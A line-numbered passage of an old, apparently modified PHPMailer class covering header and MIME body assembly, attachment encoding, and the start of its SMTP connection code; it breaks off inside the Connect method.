  1870.                     if (substr($word, $len - 1, 1) == "=")
  1871.                         $len--;
  1872.                     elseif (substr($word, $len - 2, 1) == "=")
  1873.                         $len -= 2;
  1874.                     $part = substr($word, 0, $len);
  1875.                     $word = substr($word, $len);
  1876.  
  1877.                     if (strlen($word) > 0)
  1878.                         $message .= $part . sprintf("=%s", $this->LE);
  1879.                     else
  1880.                         $buf = $part;
  1881.                 }
  1882.               }
  1883.               else
  1884.               {
  1885.                 $buf_o = $buf;
  1886.                 $buf .= ($e == 0) ? $word : (" " . $word);
  1887.  
  1888.                 if (strlen($buf) > $length and $buf_o != "")
  1889.                 {
  1890.                     $message .= $buf_o . $soft_break;
  1891.                     $buf = $word;
  1892.                 }
  1893.               }
  1894.           }
  1895.           $message .= $buf . $this->LE;
  1896.         }
  1897.  
  1898.         return $message;
  1899.     }
  1900.    
  1901.     /**
  1902.      * Set the body wrapping.
  1903.      * @access private
  1904.      * @return void
  1905.      */
  1906.     function SetWordWrap() {
  1907.         if($this->WordWrap < 1)
  1908.             return;
  1909.            
  1910.         switch($this->message_type)
  1911.         {
  1912.            case "alt":
  1913.               // fall through
  1914.            case "alt_attachments":
  1915.               $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  1916.               break;
  1917.            default:
  1918.               $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  1919.               break;
  1920.         }
  1921.     }
  1922.  
  1923.     /**
  1924.      * Assembles message header.  
  1925.      * @access private
  1926.      * @return string
  1927.      */
  1928.     function CreateHeader() {
  1929.         $result = "";
  1930.        
  1931.         // Set the boundaries
  1932.         $uniq_id = md5(uniqid(time()));
  1933.         $this->boundary[1] = "b1_" . $uniq_id;
  1934.         $this->boundary[2] = "b2_" . $uniq_id;
  1935.  
  1936.         $result .= $this->HeaderLine("Date", $this->RFCDate());
  1937.         if($this->Sender == "")
  1938.             $result .= $this->HeaderLine("Return-Path", trim($this->From));
  1939.         else
  1940.             $result .= $this->HeaderLine("Return-Path", trim($this->Sender));
  1941.        
  1942.         // To be created automatically by mail()
  1943.         if($this->Mailer != "mail")
  1944.         {
  1945.             if(count($this->to) > 0)
  1946.                 $result .= $this->AddrAppend("To", $this->to);
  1947.             else if (count($this->cc) == 0)
  1948.                 $result .= $this->HeaderLine("To", "undisclosed-recipients:;");
  1949.             if(count($this->cc) > 0)
  1950.                 $result .= $this->AddrAppend("Cc", $this->cc);
  1951.         }
  1952.  
  1953.         $from = array();
  1954.         $from[0][0] = trim($this->From);
  1955.         $from[0][1] = $this->FromName;
  1956.         $result .= $this->AddrAppend("From", $from);
  1957.  
  1958.         // sendmail and mail() extract Bcc from the header before sending
  1959.         if((($this->Mailer == "sendmail") || ($this->Mailer == "mail")) && (count($this->bcc) > 0))
  1960.             $result .= $this->AddrAppend("Bcc", $this->bcc);
  1961.  
  1962.         if(count($this->ReplyTo) > 0)
  1963.             $result .= $this->AddrAppend("Reply-to", $this->ReplyTo);
  1964.  
  1965.         // mail() sets the subject itself
  1966.         if($this->Mailer != "mail")
  1967.             $result .= $this->HeaderLine("Subject", $this->EncodeHeader(trim($this->Subject)));
  1968.  
  1969.         //$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  1970.         $result .= $this->HeaderLine("X-Priority", $this->Priority);
  1971.         //$result .= $this->HeaderLine("X-Mailer", $this->XMailer);
  1972.         $result .= $this->HeaderLine("List-Unsubscribe", $this->ListUnsubscribe);
  1973.         $result .= $this->HeaderLine("X-idmail", $this->xidmail);
  1974.         $result .= $this->HeaderLine("Return-Path", $this->ReturnPath);
  1975.         if($this->ConfirmReadingTo != "")
  1976.         {
  1977.             $result .= $this->HeaderLine("Disposition-Notification-To",
  1978.                        "<" . trim($this->ConfirmReadingTo) . ">");
  1979.         }
  1980.  
  1981.         // Add custom headers
  1982.         /*for($index = 0; $index < count($this->CustomHeader); $index++)
  1983.         {
  1984.             $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]),
  1985.                        $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  1986.         }*/
  1987.        
  1988.         foreach( $this->CustomHeader as $headerName => $headerValue )
  1989.         {
  1990.             $result .=  $this->HeaderLine(trim($headerName),
  1991.                         $this->EncodeHeader(trim($headerValue)));
  1992.         }
  1993.        
  1994.         $result .= $this->HeaderLine("MIME-Version", "1.0");
  1995.  
  1996.         switch($this->message_type)
  1997.         {
  1998.             case "plain":
  1999.                 $result .= $this->HeaderLine("Content-Transfer-Encoding", $this->Encoding);
  2000.                 $result .= sprintf("Content-Type: %s; charset=\"%s\"",
  2001.                                     $this->ContentType, $this->CharSet);
  2002.                 break;
  2003.             case "attachments":
  2004.                 // fall through
  2005.             case "alt_attachments":
  2006.                 if($this->InlineImageExists())
  2007.                 {
  2008.                     $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s",
  2009.                                     "multipart/related", $this->LE, $this->LE,
  2010.                                     $this->boundary[1], $this->LE);
  2011.                 }
  2012.                 else
  2013.                 {
  2014.                     $result .= $this->HeaderLine("Content-Type", "multipart/mixed;");
  2015.                     $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2016.                 }
  2017.                 break;
  2018.             case "alt":
  2019.                 $result .= $this->HeaderLine("Content-Type", "multipart/alternative;");
  2020.                 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2021.                 break;
  2022.         }
  2023.  
  2024.         if($this->Mailer != "mail")
  2025.             $result .= $this->LE.$this->LE;
  2026.  
  2027.         return $result;
  2028.     }
  2029.  
  2030.     /**
  2031.      * Assembles the message body.  Returns an empty string on failure.
  2032.      * @access private
  2033.      * @return string
  2034.      */
  2035.     function CreateBody() {
  2036.         $result = "";
  2037.  
  2038.         $this->SetWordWrap();
  2039.  
  2040.         switch($this->message_type)
  2041.         {
  2042.             case "alt":
  2043.                 $result .= $this->GetBoundary($this->boundary[1], "",
  2044.  
  2045.                                               "text/plain", "");
  2046.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2047.                 $result .= $this->LE.$this->LE;
  2048.                 $result .= $this->GetBoundary($this->boundary[1], "",
  2049.                                               "text/html", "");
  2050.                
  2051.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2052.                 $result .= $this->LE.$this->LE;
  2053.    
  2054.                 $result .= $this->EndBoundary($this->boundary[1]);
  2055.                 break;
  2056.             case "plain":
  2057.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2058.                 break;
  2059.             case "attachments":
  2060.                 $result .= $this->GetBoundary($this->boundary[1], "", "", "");
  2061.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2062.                 $result .= $this->LE;
  2063.      
  2064.                 $result .= $this->AttachAll();
  2065.                 break;
  2066.             case "alt_attachments":
  2067.                 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2068.                 $result .= sprintf("Content-Type: %s;%s" .
  2069.                                    "\tboundary=\"%s\"%s",
  2070.                                    "multipart/alternative", $this->LE,
  2071.                                    $this->boundary[2], $this->LE.$this->LE);
  2072.    
  2073.                 // Create text body
  2074.                 $result .= $this->GetBoundary($this->boundary[2], "",
  2075.                                               "text/plain", "") . $this->LE;
  2076.  
  2077.                 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2078.                 $result .= $this->LE.$this->LE;
  2079.    
  2080.                 // Create the HTML body
  2081.                 $result .= $this->GetBoundary($this->boundary[2], "",
  2082.                                               "text/html", "") . $this->LE;
  2083.    
  2084.                 $result .= $this->EncodeString($this->Body, $this->Encoding);
  2085.                 $result .= $this->LE.$this->LE;
  2086.  
  2087.                 $result .= $this->EndBoundary($this->boundary[2]);
  2088.                
  2089.                 $result .= $this->AttachAll();
  2090.                 break;
  2091.         }
  2092.         if($this->IsError())
  2093.             $result = "";
  2094.  
  2095.         return $result;
  2096.     }
  2097.  
  2098.     /**
  2099.      * Returns the start of a message boundary.
  2100.      * @access private
  2101.      */
  2102.     function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2103.         $result = "";
  2104.         if($charSet == "") { $charSet = $this->CharSet; }
  2105.         if($contentType == "") { $contentType = $this->ContentType; }
  2106.         if($encoding == "") { $encoding = $this->Encoding; }
  2107.  
  2108.         $result .= $this->TextLine("--" . $boundary);
  2109.         $result .= sprintf("Content-Type: %s; charset = \"%s\"",
  2110.                             $contentType, $charSet);
  2111.         $result .= $this->LE;
  2112.         $result .= $this->HeaderLine("Content-Transfer-Encoding", $encoding);
  2113.         $result .= $this->LE;
  2114.        
  2115.         return $result;
  2116.     }
  2117.    
  2118.     /**
  2119.      * Returns the end of a message boundary.
  2120.      * @access private
  2121.      */
  2122.     function EndBoundary($boundary) {
  2123.         return $this->LE . "--" . $boundary . "--" . $this->LE;
  2124.     }
  2125.    
  2126.     /**
  2127.      * Sets the message type.
  2128.      * @access private
  2129.      * @return void
  2130.      */
  2131.     function SetMessageType() {
  2132.         if(count($this->attachment) < 1 && strlen($this->AltBody) < 1)
  2133.             $this->message_type = "plain";
  2134.         else
  2135.         {
  2136.             if(count($this->attachment) > 0)
  2137.                 $this->message_type = "attachments";
  2138.             if(strlen($this->AltBody) > 0 && count($this->attachment) < 1)
  2139.                 $this->message_type = "alt";
  2140.             if(strlen($this->AltBody) > 0 && count($this->attachment) > 0)
  2141.                 $this->message_type = "alt_attachments";
  2142.         }
  2143.     }
  2144.  
  2145.     /**
  2146.      * Returns a formatted header line.
  2147.      * @access private
  2148.      * @return string
  2149.      */
  2150.     function HeaderLine($name, $value) {
  2151.         return $name . ": " . $value . $this->LE;
  2152.     }
  2153.  
  2154.     /**
  2155.      * Returns a formatted mail line.
  2156.      * @access private
  2157.      * @return string
  2158.      */
  2159.     function TextLine($value) {
  2160.         return $value . $this->LE;
  2161.     }
  2162.  
  2163.     /////////////////////////////////////////////////
  2164.     // ATTACHMENT METHODS
  2165.     /////////////////////////////////////////////////
  2166.  
  2167.     /**
  2168.      * Adds an attachment from a path on the filesystem.
  2169.      * Returns false if the file could not be found
  2170.      * or accessed.
  2171.      * @param string $path Path to the attachment.
  2172.      * @param string $name Overrides the attachment name.
  2173.      * @param string $encoding File encoding (see $Encoding).
  2174.      * @param string $type File extension (MIME) type.
  2175.      * @return bool
  2176.      */
  2177.     function AddAttachment($path, $name = "", $encoding = "base64",
  2178.                            $type = "application/octet-stream") {
  2179.         if(!@is_file($path))
  2180.         {
  2181.             $this->SetError($this->Lang("file_access") . $path);
  2182.             return false;
  2183.         }
  2184.  
  2185.         $filename = basename($path);
  2186.         if($name == "")
  2187.             $name = $filename;
  2188.  
  2189.         $cur = count($this->attachment);
  2190.         $this->attachment[$cur][0] = $path;
  2191.         $this->attachment[$cur][1] = $filename;
  2192.         $this->attachment[$cur][2] = $name;
  2193.         $this->attachment[$cur][3] = $encoding;
  2194.         $this->attachment[$cur][4] = $type;
  2195.         $this->attachment[$cur][5] = false; // isStringAttachment
  2196.         $this->attachment[$cur][6] = "attachment";
  2197.         $this->attachment[$cur][7] = 0;
  2198.  
  2199.         return true;
  2200.     }
  2201.  
  2202.     /**
  2203.      * Attaches all fs, string, and binary attachments to the message.
  2204.      * Returns an empty string on failure.
  2205.      * @access private
  2206.      * @return string
  2207.      */
  2208.     function AttachAll() {
  2209.         // Return text of body
  2210.         $mime = array();
  2211.  
  2212.         // Add all attachments
  2213.         for($i = 0; $i < count($this->attachment); $i++)
  2214.         {
  2215.             // Check for string attachment
  2216.             $bString = $this->attachment[$i][5];
  2217.             if ($bString)
  2218.                 $string = $this->attachment[$i][0];
  2219.             else
  2220.                 $path = $this->attachment[$i][0];
  2221.  
  2222.             $filename    = $this->attachment[$i][1];
  2223.             $name        = $this->attachment[$i][2];
  2224.             $encoding    = $this->attachment[$i][3];
  2225.             $type        = $this->attachment[$i][4];
  2226.             $disposition = $this->attachment[$i][6];
  2227.             $cid         = $this->attachment[$i][7];
  2228.            
  2229.             $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2230.             $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2231.             $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2232.  
  2233.             if($disposition == "inline")
  2234.                 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2235.  
  2236.             $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s",
  2237.                               $disposition, $name, $this->LE.$this->LE);
  2238.  
  2239.             // Encode as string attachment
  2240.             if($bString)
  2241.             {
  2242.                 $mime[] = $this->EncodeString($string, $encoding);
  2243.                 if($this->IsError()) { return ""; }
  2244.                 $mime[] = $this->LE.$this->LE;
  2245.             }
  2246.             else
  2247.             {
  2248.                 $mime[] = $this->EncodeFile($path, $encoding);                
  2249.                 if($this->IsError()) { return ""; }
  2250.                 $mime[] = $this->LE.$this->LE;
  2251.             }
  2252.         }
  2253.  
  2254.         $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2255.  
  2256.         return join("", $mime);
  2257.     }
  2258.    
  2259.     /**
  2260.      * Encodes attachment in requested format.  Returns an
  2261.      * empty string on failure.
  2262.      * @access private
  2263.      * @return string
  2264.      */
  2265.     function EncodeFile ($path, $encoding = "base64") {
  2266.         if(!@$fd = fopen($path, "rb"))
  2267.         {
  2268.             $this->SetError($this->Lang("file_open") . $path);
  2269.             return "";
  2270.         }
  2271.         $magic_quotes = get_magic_quotes_runtime();
  2272.         set_magic_quotes_runtime(0);
  2273.         $file_buffer = fread($fd, filesize($path));
  2274.         $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2275.         fclose($fd);
  2276.         set_magic_quotes_runtime($magic_quotes);
  2277.  
  2278.         return $file_buffer;
  2279.     }
  2280.  
  2281.     /**
  2282.      * Encodes string to requested format. Returns an
  2283.      * empty string on failure.
  2284.      * @access private
  2285.      * @return string
  2286.      */
  2287.     function EncodeString ($str, $encoding = "base64") {
  2288.         $encoded = "";
  2289.         switch(strtolower($encoding)) {
  2290.           case "base64":
  2291.               // chunk_split is found in PHP >= 3.0.6
  2292.               $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2293.               break;
  2294.           case "7bit":
  2295.  
  2296.  
  2297.           case "8bit":
  2298.               $encoded = $this->FixEOL($str);
  2299.               if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2300.                 $encoded .= $this->LE;
  2301.               break;
  2302.           case "binary":
  2303.               $encoded = $str;
  2304.               break;
  2305.           case "quoted-printable":
  2306.               $encoded = $this->EncodeQP($str);
  2307.               break;
  2308.           default:
  2309.               $this->SetError($this->Lang("encoding") . $encoding);
  2310.               break;
  2311.         }
  2312.         return $encoded;
  2313.     }
  2314.  
  2315.     /**
  2316.      * Encode a header string to best of Q, B, quoted or none.  
  2317.      * @access private
  2318.      * @return string
  2319.      */
  2320.     function EncodeHeader ($str, $position = 'text') {
  2321.       $x = 0;
  2322.      
  2323.       switch (strtolower($position)) {
  2324.         case 'phrase':
  2325.           if (!preg_match('/[\200-\377]/', $str)) {
  2326.             // Can't use addslashes as we don't know what value has magic_quotes_sybase.
  2327.             $encoded = addcslashes($str, "\0..\37\177\\\"");
  2328.  
  2329.             if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str))
  2330.               return ($encoded);
  2331.             else
  2332.               return ("\"$encoded\"");
  2333.           }
  2334.           $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2335.           break;
  2336.         case 'comment':
  2337.           $x = preg_match_all('/[()"]/', $str, $matches);
  2338.           // Fall-through
  2339.         case 'text':
  2340.         default:
  2341.           $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2342.           break;
  2343.       }
  2344.  
  2345.       if ($x == 0)
  2346.         return ($str);
  2347.  
  2348.       $maxlen = 75 - 7 - strlen($this->CharSet);
  2349.       // Try to select the encoding which should produce the shortest output
  2350.       if (strlen($str)/3 < $x) {
  2351.         $encoding = 'B';
  2352.         $encoded = base64_encode($str);
  2353.         $maxlen -= $maxlen % 4;
  2354.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2355.       } else {
  2356.         $encoding = 'Q';
  2357.         $encoded = $this->EncodeQ($str, $position);
  2358.         $encoded = $this->WrapText($encoded, $maxlen, true);
  2359.         $encoded = str_replace("=".$this->LE, "\n", trim($encoded));
  2360.       }
  2361.  
  2362.       $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2363.       $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2364.      
  2365.       return $encoded;
  2366.     }
  2367.    
  2368.     /**
  2369.      * Encode string to quoted-printable.  
  2370.      * @access private
  2371.      * @return string
  2372.      */
  2373.     function EncodeQP ($str) {
  2374.         $encoded = $this->FixEOL($str);
  2375.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2376.             $encoded .= $this->LE;
  2377.  
  2378.         // Replace every high ascii, control and = characters
  2379.         $encoded = preg_replace('/([\000-\010\013\014\016-\037\075\177-\377])/e',
  2380.                   "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2381.         // Replace every spaces and tabs when it's the last character on a line
  2382.         $encoded = preg_replace("/([\011\040])".$this->LE."/e",
  2383.                   "'='.sprintf('%02X', ord('\\1')).'".$this->LE."'", $encoded);
  2384.  
  2385.         // Maximum line length of 76 characters before CRLF (74 + space + '=')
  2386.         $encoded = $this->WrapText($encoded, 74, true);
  2387.  
  2388.         return $encoded;
  2389.     }
  2390.  
  2391.     /**
  2392.      * Encode string to q encoding.  
  2393.      * @access private
  2394.      * @return string
  2395.      */
  2396.     function EncodeQ ($str, $position = "text") {
  2397.         // There should not be any EOL in the string
  2398.         $encoded = preg_replace("[\r\n]", "", $str);
  2399.  
  2400.         switch (strtolower($position)) {
  2401.           case "phrase":
  2402.             $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2403.             break;
  2404.           case "comment":
  2405.             $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2406.           case "text":
  2407.           default:
  2408.             // Replace every high ascii, control =, ? and _ characters
  2409.             $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2410.                   "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2411.             break;
  2412.         }
  2413.        
  2414.         // Replace every spaces to _ (more readable than =20)
  2415.         $encoded = str_replace(" ", "_", $encoded);
  2416.  
  2417.         return $encoded;
  2418.     }
  2419.  
  2420.     /**
  2421.      * Adds a string or binary attachment (non-filesystem) to the list.
  2422.      * This method can be used to attach ascii or binary data,
  2423.      * such as a BLOB record from a database.
  2424.      * @param string $string String attachment data.
  2425.      * @param string $filename Name of the attachment.
  2426.      * @param string $encoding File encoding (see $Encoding).
  2427.      * @param string $type File extension (MIME) type.
  2428.      * @return void
  2429.      */
  2430.     function AddStringAttachment($string, $filename, $encoding = "base64",
  2431.                                  $type = "application/octet-stream") {
  2432.         // Append to $attachment array
  2433.         $cur = count($this->attachment);
  2434.         $this->attachment[$cur][0] = $string;
  2435.         $this->attachment[$cur][1] = $filename;
  2436.         $this->attachment[$cur][2] = $filename;
  2437.         $this->attachment[$cur][3] = $encoding;
  2438.         $this->attachment[$cur][4] = $type;
  2439.         $this->attachment[$cur][5] = true; // isString
  2440.         $this->attachment[$cur][6] = "attachment";
  2441.         $this->attachment[$cur][7] = 0;
  2442.     }
  2443.    
  2444.     /**
  2445.      * Adds an embedded attachment.  This can include images, sounds, and
  2446.      * just about any other document.  Make sure to set the $type to an
  2447.      * image type.  For JPEG images use "image/jpeg" and for GIF images
  2448.      * use "image/gif".
  2449.      * @param string $path Path to the attachment.
  2450.      * @param string $cid Content ID of the attachment.  Use this to identify
  2451.      *        the Id for accessing the image in an HTML form.
  2452.      * @param string $name Overrides the attachment name.
  2453.      * @param string $encoding File encoding (see $Encoding).
  2454.      * @param string $type File extension (MIME) type.  
  2455.      * @return bool
  2456.      */
  2457.     function AddEmbeddedImage($path, $cid, $name = "", $encoding = "base64",
  2458.                               $type = "application/octet-stream") {
  2459.    
  2460.         if(!@is_file($path))
  2461.         {
  2462.             $this->SetError($this->Lang("file_access") . $path);
  2463.             return false;
  2464.         }
  2465.  
  2466.         $filename = basename($path);
  2467.         if($name == "")
  2468.             $name = $filename;
  2469.  
  2470.         // Append to $attachment array
  2471.         $cur = count($this->attachment);
  2472.         $this->attachment[$cur][0] = $path;
  2473.         $this->attachment[$cur][1] = $filename;
  2474.         $this->attachment[$cur][2] = $name;
  2475.         $this->attachment[$cur][3] = $encoding;
  2476.         $this->attachment[$cur][4] = $type;
  2477.         $this->attachment[$cur][5] = false; // isStringAttachment
  2478.         $this->attachment[$cur][6] = "inline";
  2479.         $this->attachment[$cur][7] = $cid;
  2480.    
  2481.         return true;
  2482.     }
  2483.    
  2484.     /**
  2485.      * Returns true if an inline attachment is present.
  2486.      * @access private
  2487.      * @return bool
  2488.      */
  2489.     function InlineImageExists() {
  2490.         $result = false;
  2491.         for($i = 0; $i < count($this->attachment); $i++)
  2492.         {
  2493.             if($this->attachment[$i][6] == "inline")
  2494.             {
  2495.                 $result = true;
  2496.                 break;
  2497.             }
  2498.         }
  2499.        
  2500.         return $result;
  2501.     }
  2502.  
  2503.     /////////////////////////////////////////////////
  2504.     // MESSAGE RESET METHODS
  2505.     /////////////////////////////////////////////////
  2506.  
  2507.     /**
  2508.      * Clears all recipients assigned in the TO array.  Returns void.
  2509.      * @return void
  2510.      */
  2511.     function ClearAddresses() {
  2512.         $this->to = array();
  2513.     }
  2514.  
  2515.     /**
  2516.      * Clears all recipients assigned in the CC array.  Returns void.
  2517.      * @return void
  2518.      */
  2519.     function ClearCCs() {
  2520.         $this->cc = array();
  2521.     }
  2522.  
  2523.     /**
  2524.      * Clears all recipients assigned in the BCC array.  Returns void.
  2525.      * @return void
  2526.      */
  2527.     function ClearBCCs() {
  2528.         $this->bcc = array();
  2529.     }
  2530.  
  2531.     /**
  2532.      * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2533.      * @return void
  2534.      */
  2535.     function ClearReplyTos() {
  2536.         $this->ReplyTo = array();
  2537.     }
  2538.  
  2539.     /**
  2540.      * Clears all recipients assigned in the TO, CC and BCC
  2541.      * array.  Returns void.
  2542.      * @return void
  2543.      */
  2544.     function ClearAllRecipients() {
  2545.         $this->to = array();
  2546.         $this->cc = array();
  2547.         $this->bcc = array();
  2548.     }
  2549.  
  2550.     /**
  2551.      * Clears all previously set filesystem, string, and binary
  2552.      * attachments.  Returns void.
  2553.      * @return void
  2554.      */
  2555.     function ClearAttachments() {
  2556.         $this->attachment = array();
  2557.     }
  2558.  
  2559.     /**
  2560.      * Clears all custom headers.  Returns void.
  2561.      * @return void
  2562.      */
  2563.     function ClearCustomHeaders() {
  2564.         $this->CustomHeader = array();
  2565.     }
  2566.  
  2567.  
  2568.     /////////////////////////////////////////////////
  2569.     // MISCELLANEOUS METHODS
  2570.     /////////////////////////////////////////////////
  2571.  
  2572.     /**
  2573.      * Adds the error message to the error container.
  2574.      * Returns void.
  2575.      * @access private
  2576.      * @return void
  2577.      */
  2578.     function SetError($msg) {
  2579.         $this->error_count++;
  2580.         $this->ErrorInfo = $msg;
  2581.     }
  2582.  
  2583.     /**
  2584.      * Returns the proper RFC 822 formatted date.
  2585.      * @access private
  2586.      * @return string
  2587.      */
  2588.     function RFCDate() {
  2589.         $tz = date("Z");
  2590.         $tzs = ($tz < 0) ? "-" : "+";
  2591.         $tz = abs($tz);
  2592.         $tz = ($tz/3600)*100 + ($tz%3600)/60;
  2593.         $result = sprintf("%s %s%04d", date("D, j M Y H:i:s"), $tzs, $tz);
  2594.  
  2595.         return $result;
  2596.     }
  2597.    
  2598.     /**
  2599.      * Returns the appropriate server variable.  Should work with both
  2600.      * PHP 4.1.0+ as well as older versions.  Returns an empty string
  2601.      * if nothing is found.
  2602.      * @access private
  2603.      * @return mixed
  2604.      */
  2605.     function ServerVar($varName) {
  2606.         global $HTTP_SERVER_VARS;
  2607.         global $HTTP_ENV_VARS;
  2608.  
  2609.         if(!isset($_SERVER))
  2610.         {
  2611.             $_SERVER = $HTTP_SERVER_VARS;
  2612.             if(!isset($_SERVER["REMOTE_ADDR"]))
  2613.                 $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2614.         }
  2615.        
  2616.         if(isset($_SERVER[$varName]))
  2617.             return $_SERVER[$varName];
  2618.         else
  2619.             return "";
  2620.     }
  2621.  
  2622.     /**
  2623.      * Returns the server hostname or 'localhost.localdomain' if unknown.
  2624.      * @access private
  2625.      * @return string
  2626.      */
  2627.     function ServerHostname() {
  2628.         if ($this->Hostname != "")
  2629.             $result = $this->Hostname;
  2630.         elseif ($this->ServerVar('SERVER_NAME') != "")
  2631.             $result = $this->ServerVar('SERVER_NAME');
  2632.         else
  2633.             $result = "localhost.localdomain";
  2634.  
  2635.         return $result;
  2636.     }
  2637.  
  2638.     /**
  2639.      * Returns a message in the appropriate language.
  2640.      * @access private
  2641.      * @return string
  2642.      */
  2643.     function Lang($key) {
  2644.         if(count($this->language) < 1)
  2645.             $this->SetLanguage("en"); // set the default language
  2646.    
  2647.         if(isset($this->language[$key]))
  2648.             return $this->language[$key];
  2649.         else
  2650.             return "Language string failed to load: " . $key;
  2651.     }
  2652.    
  2653.     /**
  2654.      * Returns true if an error occurred.
  2655.      * @return bool
  2656.      */
  2657.     function IsError() {
  2658.  
  2659.         return ($this->error_count > 0);
  2660.     }
  2661.  
  2662.     /**
  2663.      * Changes every end of line from CR or LF to CRLF.  
  2664.      * @access private
  2665.      * @return string
  2666.      */
  2667.     function FixEOL($str) {
  2668.         $str = str_replace("\r\n", "\n", $str);
  2669.         $str = str_replace("\r", "\n", $str);
  2670.         $str = str_replace("\n", $this->LE, $str);
  2671.         return $str;
  2672.     }
  2673.  
  2674.     /**
  2675.      * Adds a custom header.
  2676.      * @return void
  2677.      */
  2678.     function AddCustomHeader($custom_header)
  2679.     {
  2680.         //$this->CustomHeader[] = explode(":", $custom_header, 2);
  2681.         $custom_header = explode(":", $custom_header, 2);
  2682.         $this->CustomHeader[ trim($custom_header[0]) ] = trim($custom_header[1]);
  2683.     }
  2684. }
  2685.  
  2686. /**
  2687.  * SMTP is rfc 821 compliant and implements all the rfc 821 SMTP
  2688.  * commands except TURN which will always return a not implemented
  2689.  * error. SMTP also provides some utility methods for sending mail
  2690.  * to an SMTP server.
  2691.  * @package PHPMailer
  2692.  * @author Chris Ryan
  2693.  */
  2694. class SMTP
  2695. {
  2696.     /**
  2697.      *  SMTP server port
  2698.      *  @var int
  2699.      */
  2700.     var $SMTP_PORT = 25;
  2701.    
  2702.     /**
  2703.      *  SMTP reply line ending
  2704.      *  @var string
  2705.      */
  2706.     var $CRLF = "\r\n";
  2707.    
  2708.     /**
  2709.      *  Sets whether debugging is turned on
  2710.      *  @var bool
  2711.      */
  2712.     var $do_debug = 0;       # the level of debug to perform
  2713.  
  2714.     /**#@+
  2715.      * @access private
  2716.      */
  2717.     var $smtp_conn;      # the socket to the server
  2718.    var $error;          # error if any on the last call
  2719.    var $helo_rply;      # the reply the server sent to us for HELO
  2720.    var $smtp_buffer;    # smtp buffer
  2721.    
  2722.     var $smtpError     = null;
  2723.     var $smtpSendError = 0;
  2724.     /**#@-*/
  2725.  
  2726.     /**
  2727.      * Initialize the class so that the data is in a known state.
  2728.      * @access public
  2729.      * @return void
  2730.      */
  2731.     function SMTP() {
  2732.         $this->smtp_conn = 0;
  2733.         $this->error = null;
  2734.         $this->helo_rply = null;
  2735.  
  2736.         $this->do_debug = 1;
  2737.     }
  2738.  
  2739.     /*************************************************************
  2740.      *                    CONNECTION FUNCTIONS                  *
  2741.      ***********************************************************/
  2742.  
  2743.     /**
  2744.      * Connect to the server specified on the port specified.
  2745.      * If the port is not specified use the default SMTP_PORT.
  2746.      * If tval is specified then a connection will try and be
  2747.      * established with the server for that number of seconds.
  2748.      * If tval is not specified the default is 30 seconds to
  2749.      * try on the connection.
  2750.      *
  2751.      * SMTP CODE SUCCESS: 220
  2752.      * SMTP CODE FAILURE: 421
  2753.      * @access public
  2754.      * @return bool
  2755.      */
  2756.     function Connect($host,$port=0,$tval=30) {
  2757.         # set the error val to null so there is no confusion
  2758.        $this->error = null;
  2759.  
  2760.         # make sure we are __not__ connected
  2761.        if($this->connected()) {
  2762.             # ok we are connected! what should we do?
  2763.            # for now we will just give an error saying we
  2764.            # are already connected
  2765.            $this->error =
  2766.                 array("error" => "Already connected to a server");
  2767.             return false;
  2768.         }
  2769.  
  2770.         if(empty($port)) {
  2771.             $port = $this->SMTP_PORT;
  2772.         }
  2773.  
  2774.         #connect to the smtp server
  2775.        $this->smtp_conn = fsockopen($host,    # the host of the server
  2776.                                     $port,    # the port to use
  2777.                                     $errno,   # error number if any
  2778.                                     $errstr,  # error message if any
  2779.                                     $tval);   # give up after ? secs
  2780.        # verify we connected properly
  2781.        if(empty($this->smtp_conn)) {
  2782.             $this->error = array("error" => "Failed to connect to server",
  2783.                                  "errno" => $errno,
  2784.                                  "errstr" => $errstr);
  2785.             if($this->do_debug >= 1) {
  2786.                 echo "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF;
  2787.             }
  2788.             DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF);
  2789.             return false;
  2790.         }
  2791.  
  2792.         # sometimes the SMTP server takes a little longer to respond
  2793.        # so we will give it a longer timeout for the first read
  2794.        // Windows still does not have support for this timeout function
